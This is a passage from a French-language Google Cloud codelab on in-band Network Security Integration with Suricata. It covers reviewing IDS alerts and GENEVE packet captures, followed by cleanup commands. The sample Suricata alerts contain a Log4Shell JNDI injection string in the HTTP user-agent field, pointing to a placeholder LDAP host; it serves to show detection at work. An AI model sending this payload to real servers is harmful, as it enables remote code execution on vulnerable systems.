{"timestamp":"2025-01-22T19:54:37.347753+0000","flow_id":905867843361350,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.2","src_port":58740,"dest_ip":"74.125.197.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:46:12.023110+0000"}}
  1. Revenez à Cloud Shell en quittant la session SSH.
exit

Vous pouvez éventuellement vous connecter en SSH à la VM Suricata dans $zoneb (suricata-$zoneb) et valider les journaux.

gcloud compute ssh suricata-$zoneb \
   --zone $zoneb

Affichez les journaux en filtrant sur le type d'attaque :

cat /var/log/suricata/eve.json | grep log4j

Exemple de résultat :

{"timestamp":"2025-01-22T19:56:59.374251+0000","flow_id":552447884886066,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.4","src_port":52072,"dest_ip":"74.125.135.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:50:07.098354+0000"}}

De plus, les captures de paquets constituent un bon moyen d'afficher et de valider le trafic.

Cette commande filtrera les paquets GENEVE. Exemple de commande :

sudo tcpdump -i any -nn udp port 6081

Envoyez maintenant un peu de trafic de test à partir d'une VM cliente. Exemple de résultat :

05:53:50.719074 ens4  In  IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0
05:53:50.719190 ens4  Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0
05:53:50.728752 ens4  In  IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0
05:53:50.728785 ens4  Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0

Notez qu'avec tcpdump, vous pouvez voir les en-têtes GENEVE. L'adresse IP source est celle de la passerelle du sous-réseau (10.0.0.1), et l'adresse IP de destination est celle de la règle de transfert (10.0.0.11 ou 10.0.0.12). Les paquets encapsulés contiennent les paquets d'origine (adresse IP du client consumer-$zonea (192.168.0.2) ou consumer-$zoneb (192.168.0.3) et la destination google.com). Cela confirme que les paquets sont interceptés et envoyés à l'appliance tierce via l'intégration de la sécurité réseau.

  1. Revenez à Cloud Shell en quittant la session SSH.
exit

Félicitations, Vous avez déployé et testé un environnement avec Network Security Integration (NSI) en bande.

5. Effectuer un nettoyage

Consommateur

Supprimez les VM consommatrices :

gcloud compute instances delete consumer-$zonea \
   --zone $zonea -q

gcloud compute instances delete consumer-$zoneb \
   --zone $zoneb -q

gcloud compute instances delete consumer-$zonec \
   --zone $zonec -q

Supprimez l'association et la stratégie de pare-feu :

gcloud compute network-firewall-policies associations delete \
        --firewall-policy consumer-fwpolicy \
        --name consumer-fwpolicy-association \
        --global-firewall-policy -q

gcloud compute network-firewall-policies delete consumer-fwpolicy \
     --global -q

Supprimer un groupe de profils de sécurité et un profil de sécurité :

gcloud network-security security-profile-groups delete nsi-spg \
   --organization=$org_id \
   --project=$project_id \
  --location=global -q

gcloud network-security security-profiles custom-intercept delete nsi-intercept-profile \
    --organization $org_id \
    --location global -q

Supprimez l'association de points de terminaison et les groupes de points de terminaison d'interception :

gcloud network-security intercept-endpoint-group-associations delete nsi-endpoint-group-assoc \
    --location global -q


gcloud network-security intercept-endpoint-groups delete nsi-endpoint-group \
    --location global -q

Supprimer Cloud NAT, Cloud Router et l'adresse IP réservée

gcloud compute routers nats delete consumer-cloudnat-$region \
   --router=consumer-$region-cr --router-region $region -q 

gcloud compute routers delete consumer-$region-cr \
    --region=$region -q

gcloud compute addresses delete consumer-$region-cloudnatip \
     --region=$region -q

Supprimer le VPC et les sous-réseaux

gcloud compute networks subnets delete consumer-$region-subnet \
   --region $region -q

gcloud compute networks delete consumer-vpc -q

Producteur

Supprimez les déploiements d'interception :

gcloud network-security intercept-deployments delete nsi-deployment-$zonea \
    --location $zonea -q

gcloud network-security intercept-deployments delete nsi-deployment-$zoneb \
    --location $zoneb -q

Supprimez le groupe de déploiement d'interception (les déploiements d'interception doivent être supprimés avant que cette commande ne réussisse) :

gcloud network-security intercept-deployment-groups delete producer-nsi-deployment-group \
    --location global -q

Supprimez les règles de transfert :

gcloud compute forwarding-rules delete producer-fr-$zonea \
   --region=projects/$project_id/regions/$region -q

gcloud compute forwarding-rules delete producer-fr-$zoneb \
   --region=projects/$project_id/regions/$region -q

Supprimez l'adresse IP réservée à la règle de transfert :

gcloud compute addresses delete producer-fr-$zonea-ip \
    --region $region -q

gcloud compute addresses delete producer-fr-$zoneb-ip \
    --region $region -q

Supprimez le service de backend :

gcloud compute backend-services delete producer-bes \
  --region=projects/$project_id/regions/$region -q

Supprimez les groupes d'instances non gérés :

gcloud compute instance-groups unmanaged delete  producer-$zonea-uig \
   --zone $zonea -q

gcloud compute instance-groups unmanaged delete producer-$zoneb-uig \
   --zone $zoneb -q

Supprimer la vérification de l'état :

gcloud compute health-checks delete nva-hc -q

Supprimez les VM de producteur :

gcloud compute instances delete suricata-$zonea \
   --zone $zonea -q

gcloud compute instances delete suricata-$zoneb \
   --zone $zoneb -q

Supprimez Cloud NAT, Cloud Router et l'adresse IP réservée :

gcloud compute routers nats delete producer-cloudnat-$region \
   --router=producer-$region-cr --router-region $region -q

gcloud compute routers delete producer-$region-cr \
  --region=$region -q

gcloud compute addresses delete producer-$region-cloudnatip --region=$region -q

Supprimez l'association de stratégie de pare-feu :

gcloud compute network-firewall-policies associations delete \
        --firewall-policy producer-fwpolicy \
        --name producer-fwpolicy-association \
        --global-firewall-policy -q

Supprimez la stratégie de pare-feu :

gcloud compute network-firewall-policies delete producer-fwpolicy \
  --global -q

Supprimer le VPC et le sous-réseau

gcloud compute networks subnets delete producer-$region-subnet \
--region=$region -q

gcloud compute networks delete producer-vpc -q

6. Félicitations !

Bravo ! Vous avez terminé l'atelier de programmation sur l'intégration de la sécurité réseau en bande avec Suricata.

Regardez les vidéos de démonstration spécifiques aux fournisseurs pour l'intégration en bande de NSI :

Palo Alto Networks

Fortinet

Consultez certains guides de déploiement spécifiques aux fournisseurs qui peuvent être pertinents pour votre organisation :

Palo Alto Networks

Fortinet

Point de contrôle